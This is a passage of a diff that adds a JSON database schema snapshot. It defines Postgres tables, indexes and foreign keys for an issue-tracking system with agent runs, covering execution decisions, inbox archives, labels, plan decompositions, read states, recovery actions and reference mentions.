+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_execution_decisions_stage_idx": {
+          "name": "issue_execution_decisions_stage_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_execution_decisions_company_id_companies_id_fk": {
+          "name": "issue_execution_decisions_company_id_companies_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_issue_id_issues_id_fk": {
+          "name": "issue_execution_decisions_issue_id_issues_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_actor_agent_id_agents_id_fk": {
+          "name": "issue_execution_decisions_actor_agent_id_agents_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_inbox_archives": {
+      "name": "issue_inbox_archives",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archived_by_actor_type": {
+          "name": "archived_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'user'"
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_inbox_archives_company_issue_idx": {
+          "name": "issue_inbox_archives_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_user_idx": {
+          "name": "issue_inbox_archives_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_issue_user_idx": {
+          "name": "issue_inbox_archives_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_inbox_archives_company_id_companies_id_fk": {
+          "name": "issue_inbox_archives_company_id_companies_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_issue_id_issues_id_fk": {
+          "name": "issue_inbox_archives_issue_id_issues_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_agent_id_agents_id_fk": {
+          "name": "issue_inbox_archives_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "issue_inbox_archives_archived_by_actor_type_check": {
+          "name": "issue_inbox_archives_archived_by_actor_type_check",
+          "value": "\"issue_inbox_archives\".\"archived_by_actor_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.issue_labels": {
+      "name": "issue_labels",
+      "schema": "",
+      "columns": {
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_labels_issue_idx": {
+          "name": "issue_labels_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_label_idx": {
+          "name": "issue_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_company_idx": {
+          "name": "issue_labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_labels_issue_id_issues_id_fk": {
+          "name": "issue_labels_issue_id_issues_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_label_id_labels_id_fk": {
+          "name": "issue_labels_label_id_labels_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_company_id_companies_id_fk": {
+          "name": "issue_labels_company_id_companies_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_labels_pk": {
+          "name": "issue_labels_pk",
+          "columns": [
+            "issue_id",
+            "label_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_plan_decompositions": {
+      "name": "issue_plan_decompositions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_plan_revision_id": {
+          "name": "accepted_plan_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_interaction_id": {
+          "name": "accepted_interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'in_flight'"
+        },
+        "request_fingerprint": {
+          "name": "request_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_child_count": {
+          "name": "requested_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_children": {
+          "name": "requested_children",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "child_issue_ids": {
+          "name": "child_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_plan_decompositions_company_source_status_idx": {
+          "name": "issue_plan_decompositions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_active_owner_idx": {
+          "name": "issue_plan_decompositions_active_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issue_plan_decompositions\".\"status\" = 'in_flight'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_source_revision_uq": {
+          "name": "issue_plan_decompositions_source_revision_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "accepted_plan_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_plan_decompositions_company_id_companies_id_fk": {
+          "name": "issue_plan_decompositions_company_id_companies_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_source_issue_id_issues_id_fk": {
+          "name": "issue_plan_decompositions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "accepted_plan_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "accepted_interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_agent_id_agents_id_fk": {
+          "name": "issue_plan_decompositions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_read_states": {
+      "name": "issue_read_states",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_read_at": {
+          "name": "last_read_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_read_states_company_issue_idx": {
+          "name": "issue_read_states_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_user_idx": {
+          "name": "issue_read_states_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_issue_user_idx": {
+          "name": "issue_read_states_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_read_states_company_id_companies_id_fk": {
+          "name": "issue_read_states_company_id_companies_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_read_states_issue_id_issues_id_fk": {
+          "name": "issue_read_states_issue_id_issues_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_recovery_actions": {
+      "name": "issue_recovery_actions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "recovery_issue_id": {
+          "name": "recovery_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "owner_type": {
+          "name": "owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'agent'"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "previous_owner_agent_id": {
+          "name": "previous_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_owner_agent_id": {
+          "name": "return_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cause": {
+          "name": "cause",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evidence": {
+          "name": "evidence",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "wake_policy": {
+          "name": "wake_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_policy": {
+          "name": "monitor_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "max_attempts": {
+          "name": "max_attempts",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timeout_at": {
+          "name": "timeout_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_note": {
+          "name": "resolution_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_recovery_actions_company_source_status_idx": {
+          "name": "issue_recovery_actions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_owner_status_idx": {
+          "name": "issue_recovery_actions_company_owner_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_recovery_issue_idx": {
+          "name": "issue_recovery_actions_company_recovery_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "recovery_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_source_uq": {
+          "name": "issue_recovery_actions_active_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_fingerprint_uq": {
+          "name": "issue_recovery_actions_active_fingerprint_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cause",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_recovery_actions_company_id_companies_id_fk": {
+          "name": "issue_recovery_actions_company_id_companies_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_source_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_recovery_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_recovery_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "recovery_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_previous_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_previous_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "previous_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_return_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_return_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "return_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_reference_mentions": {
+      "name": "issue_reference_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text": {
+          "name": "matched_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_reference_mentions_company_source_issue_idx": {
+          "name": "issue_reference_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_target_issue_idx": {
+          "name": "issue_reference_mentions_company_target_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_issue_pair_idx": {
+          "name": "issue_reference_mentions_company_issue_pair_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
